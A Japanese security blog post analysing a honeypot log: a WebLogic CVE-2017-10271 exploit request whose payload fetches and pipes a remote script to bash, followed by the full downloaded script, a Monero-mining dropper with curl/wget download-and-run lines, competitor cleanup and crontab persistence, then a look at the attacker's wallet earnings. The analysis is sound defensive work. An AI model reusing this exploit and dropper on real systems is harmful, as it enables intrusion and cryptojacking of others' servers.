おふとん

IT全般、セキュリティとかCTFとかに偏りがち

ハニーポットに来るような攻撃者はどれくらい稼いでいるのか

先日ハニポに来たこのログ

POST /wls-wsat/CoordinatorPortType HTTP/1.1
Host: xxx.xxx.xxx.xxx
Connection: keep-alive
Accept-Encoding: gzip, deflate
Accept: */*
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.84 Safari/537.36
Content-Type: text/xml;charset=UTF-8
Content-Length: 760

<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
<soapenv:Header>
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<java>
<void class="java.lang.ProcessBuilder">
<array class="java.lang.String" length="3" >
<void index="0">
<string>/bin/sh</string>
</void>
<void index="1">
<string>-c</string>
</void>
<void index="2">
<string>wget -q -O /var/tmp/db.sh http://xxx.xxx.xxx.xxx/db.sh | bash</string>
</void>
</array>
<void method="start"/>
</void>
</java>
</work:WorkContext>
</soapenv:Header>
<soapenv:Body/>
</soapenv:Envelope>


お馴染みのCVE-2017-10271の脆弱性を狙った攻撃ですがこの攻撃でダウンロードされるファイルdb.shの構造は以下のようになっています。

echo ""
cd /var/tmp/
rm -rf db.sh.*
rm -rf neptune*
proc=`grep -c ^processor /proc/cpuinfo`
cores=$((($proc+1)/2))
function rop() {
        if [ ! -f "neptune" ] ;then
                wget http://xxx.xxx.xxx.xxx/pluto -O neptune && chmod +x neptune
                if [ ! -f "neptune" ] ;then
                        wget http://xxx.xxx.xxx.xxx/pluto -O neptune && chmod +x neptune
                        rm -rf neptune.*
                fi
                nohup ./neptune -o xxxx.com:443 -u 4AbjKdQkedGZXvzm6VxMJb1zLB2CAmCmXdoCisRsQFAUPs4TWFePDUcZzk5ui4EdZXT3uaXXtssqPCoKQPTz7PeZNkKASkm -p x -k -S -t `echo $cores` > /dev/null 2>&1 &
        else
                p=$(ps aux | grep neptune | grep -v grep | wc -1)
                if [ ${p} -eq 1 ];then
                        echo "neptune"
                elif [ ${p} -eq 0 ];then
                        nohup ./neptune -o xxxx.com:443 -u 4AbjKdQkedGZXvzm6VxMJb1zLB2CAmCmXdoCisRsQFAUPs4TWFePDUcZzk5ui4EdZXT3uaXXtssqPCoKQPTz7PeZNkKASkm -p x -k -S -t `echo $cores` > /dev/null 2>&1 &
                else
                        echo ""
                fi
        fi
}
echo ""
echo ""
function drop() {
        if [ ! -f "neptune" ] ;then
                curl http://xxx.xxx.xxx.xxx/pluto > neptune && chmod +x neptune
                if [ ! -f "neptune" ] ;then
                        curl http://xxx.xxx.xxx.xxx/pluto > neptune && chmod +x neptune
                        rm -rf neptune.*
                fi
                nohup ./neptune -o xxxx.com:443 -u 4AbjKdQkedGZXvzm6VxMJb1zLB2CAmCmXdoCisRsQFAUPs4TWFePDUcZzk5ui4EdZXT3uaXXtssqPCoKQPTz7PeZNkKASkm -p x -k -S -t `echo $cores` > /dev/null 2>&1 &
        else
                p=$(ps aux | grep neptune | grep -v grep | wc -1)
                if [ ${p} -eq 1 ];then
                        echo "neptune"
                elif [ ${p} -eq 0 ];then
                        nohup ./neptune -o xxxx.com:443 -u 4AbjKdQkedGZXvzm6VxMJb1zLB2CAmCmXdoCisRsQFAUPs4TWFePDUcZzk5ui4EdZXT3uaXXtssqPCoKQPTz7PeZNkKASkm -p x -k -S -t `echo $cores` > /dev/null 2>&1 &
                else
                        echo ""
                fi
        fi
}
echo ""
echo ""
function CRON() {
        if [ -x /usr/bin/curl ] ;then
                echo "*/8 * * * * curl http://xxx.xxx.xxx.xxx/db.sh | bash" > .db.cron
                if [ "sh $basepath/pay.sh &" = "$(cat /etc/rc.local | grep $basepath/pay.sh | grep -v grep)" ]; then
                        echo ""
                else
                        echo "*/10 * * * * curl http://xxx.xxx.xxx.xxx/db.sh | bash" >> /etc/crontab
        elif [ -x /usr/bin/wget ] ;then
                echo "*/8 * * * * wget http://xxx.xxx.xxx.xxx/db.sh | bash " > .db.cron
                if [ "sh $basepath/pay.sh &" = "$(cat /etc/rc.local | grep $basepath/pay.sh | grep -v grep)" ]; then
                        echo ""
                else
                        echo "*/10 * * * * wget http://xxx.xxx.xxx.xxx/db.sh | bash" >> /etc/crontab
        else
                exit 0;
        fi
        crontab -r
        crontab .db.cron
        rm .db.cron
}
echo ""
function RON() {
        if [ -x /usr/bin/curl ] ;then
                drop
        elif [ -x /usr/bin/wget ] ;then
                rop
        else
                exit 0;
        fi
}
CRON
RON


自身や他の同種の検体を削除したり、cronに組み込んで定期的に実行させたりと見るべき点はいくつかありますが今回興味があったのはこの部分です。

./neptune -o xxxx.com:443 -u 4AbjKdQkedGZXvzm6VxMJb1zLB2CAmCmXdoCisRsQFAUPs4TWFePDUcZzk5ui4EdZXT3uaXXtssqPCoKQPTz7PeZNkKASkm -p x -k -S -t `echo $cores` > /dev/null 2>&1 &


要はどのプール、アドレスでマイニングを行うかですがこの攻撃者はアドレスに4AbjKdQkedGZXvzm6VxMJb1zLB2CAmCmXdoCisRsQFAUPs4TWFePDUcZzk5ui4EdZXT3uaXXtssqPCoKQPTz7PeZNkKASkmを指定しています。
このアドレスについて調べてみると


f:id:yu_sh38:20180831215540p:plain
2ヶ月で1.0XMRくらい、XMRって今いくらくらいするんでしょうか...



f:id:yu_sh38:20180831215842p:plain


(´・ω・`)